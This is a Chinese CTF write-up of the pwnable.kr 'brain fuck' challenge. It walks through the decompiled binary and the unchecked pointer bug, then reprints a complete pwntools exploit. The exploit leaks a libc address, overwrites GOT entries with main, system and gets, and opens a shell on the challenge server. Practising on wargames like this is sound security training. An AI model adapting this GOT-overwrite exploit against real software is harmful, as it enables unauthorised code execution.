pwnable.kr brain fuck

老樣子,先審題
在這裏插入圖片描述
給了兩個文件,先下下來

bf拖ida裏康康,使用F5大法

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t i; // [esp+28h] [ebp-40Ch]
  char s[1024]; // [esp+2Ch] [ebp-408h]
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(s, 0, 0x400u);
  fgets(s, 1024, stdin);
  for ( i = 0; i < strlen(s); ++i )
    do_brainfuck(s[i]);
  return 0;
}

大概看一下main邏輯主要是賦值了一個全局變量p,輸出一下歡迎提示語,然後清空了s的棧空間,從標準化輸入讀取數據到s中。然後依次取出s中的數作爲參數,傳入到do_brainfuck

int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1;
  switch ( a1 )
  {
    case 0x2B:
      result = p;
      ++*(_BYTE *)p;
      break;
    case 0x2C:
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case 0x2D:
      result = p;
      --*(_BYTE *)p;
      break;
    case 0x2E:
      result = putchar(*(char *)p);
      break;
    case 0x3C:
      result = p-- - 1;
      break;
    case 0x3E:
      result = p++ + 1;
      break;
    case 0x5B:
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

根據題目提示看樣子是個簡陋版的brainfuck解釋器,翻譯成明文就是:< p值減1, >p值加1, .輸出當前字節, ,寫當前字節,+p值指向的值加1 ,-p值指向的值減1

在這裏插入圖片描述
查看一下程序保護

p = (int)&tape;

在這裏插入圖片描述
這裏使用全局變量來模擬指針位置,不過沒有檢測指針越界。所以可以看到指針一開始位於bss段
在這裏插入圖片描述

指針*p指向的tape距離.got.plt最高位的函數距離是0×70,是小於0×400的。
而我們可以看到上面查看的保護狀態有RELRO: Partial RELRO
也就是沒有開啓got表只讀,所以初步利用思路就是覆寫got表獲取shell。

來根據已知道的信息來分析一下
我們最終的目的是get shell,還差一個system(‘//bin/sh’),題目提供了lib庫,system函數在libc中,關於libc中的地址一定有隨機化,所以要考慮泄露這部分地址方法。泄露方法可以用p指針移動到got表中,讀出got地址,這個地址在調用一次xx@plt後就指向了libc中地址
在這裏插入圖片描述
再考慮再考慮‘/bin/sh’怎麼傳入
在這裏插入圖片描述
memsetfgets被前後調用,這兩個函數可以改爲
1:gets;
2:system
這樣的操作,由於這步驟是需要第二次運行main函數的,所以可以考慮用got表中putchar函數的地址覆蓋爲main函數地址。泄露,也是用putchar函數。先調用putchar函數再泄露,然後再覆寫。
這裏有大佬寫的exp,不懂的可以多看幾遍,註釋寫得非常詳細,我就不畫蛇添足了

#coding:utf-8
from pwn import *
context.log_level = 'debug'
elf = ELF("./bf")
libc = ELF("./bf_libc.so")
# 處理地址部分
tape_addr = 0x0804A0A0 # p指向的tape的地址,也即是<、>影響的值
putchar_addr = 0x0804A030 # putchar地址,可在IDA或者objdump查到
putchar_libc_offset = libc.symbols['putchar'] # putchar在libc中的偏移地址
memset_addr = 0x0804A02C # memset地址,可在IDA或者objdump查到
memset_libc_offset = libc.symbols['memset'] # memset在libc中的偏移地址
fgets_addr = 0x0804A010 # fgets地址,可在IDA或者objdump查到
fgets_libc_offset = libc.symbols['fgets']# fgets在libc中的偏移地址
main_addr = 0x08048671 # main函數起始地址,可在IDA查到
raw_libc_base_addr = '' # 用於存放泄露的putchar真實地址
# 構造payload部分
payload = '' # 初始化payload
payload += '<' * (tape_addr - putchar_addr) # 調整p指向到putchar(0x0804A030)
payload += '.' # 調用一次putchar函數,讓plt中有putchar真實地址的記錄
payload += '.>' * 0x4 # 讀取putchar真實地址
payload += '<' * 0x4 + ',>' * 0x4 # 返回到putchar函數的頂部(0x0804A030),並覆寫putchar爲main函數的地址(用於覆寫完成後,回跳到程序中運行函數getshell)
payload += '<' * (putchar_addr - memset_addr + 4) # 調整p指向到memset(0x0804A02C)
payload += ',>' * 0x4 # 覆寫memset爲system函數地址
payload += '<' * (memset_addr - fgets_addr + 4) # 調整p指向到fgets(0x0804A010)
payload += ',>' * 0x4 # 覆寫fgets爲gets函數地址
payload += '.' # 調用putchar回跳到main中
#log.info("start send")
p = remote('pwnable.kr',9001)
#p = process("./bf")
p.recvuntil('welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n')
p.sendline(payload)
#log.info("send end")
#gdb.attach(p,b*0x08048671)
# 計算libc基地址&各函數真實地址
p.recv(1) # 接收第一次調用putchar時,產生的1byte無用信息(\00)
raw_libc_base_addr = u32(p.recv(4)) # 接收泄露的putchar真實地址
libc_base_addr = raw_libc_base_addr - putchar_libc_offset # 泄露真實地址-函數在libc中偏移地址=libc基地址
gets_addr = libc_base_addr + libc.symbols['gets'] # 計算gets真實地址
system_addr = libc_base_addr + libc.symbols['system'] # 計算system真實地址
# 打印計算得到的各函數真實函數地址
log.success("putchar_addr = " + hex(raw_libc_base_addr))
log.success("libc_base_addr = " + hex(libc_base_addr))
log.success("gets_addr = " + hex(gets_addr))
log.success("system_addr = " + hex(system_addr))
# 輸入各函數的地址
p.send(p32(main_addr))
p.send(p32(gets_addr))
p.send(p32(system_addr))
p.sendline('//bin/sh\0') # system參數,調用sh。\0爲結束輸入符
p.interactive()

出自:

https://www.freebuf.com/vuls/216749.html

在這裏插入圖片描述
完成:)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章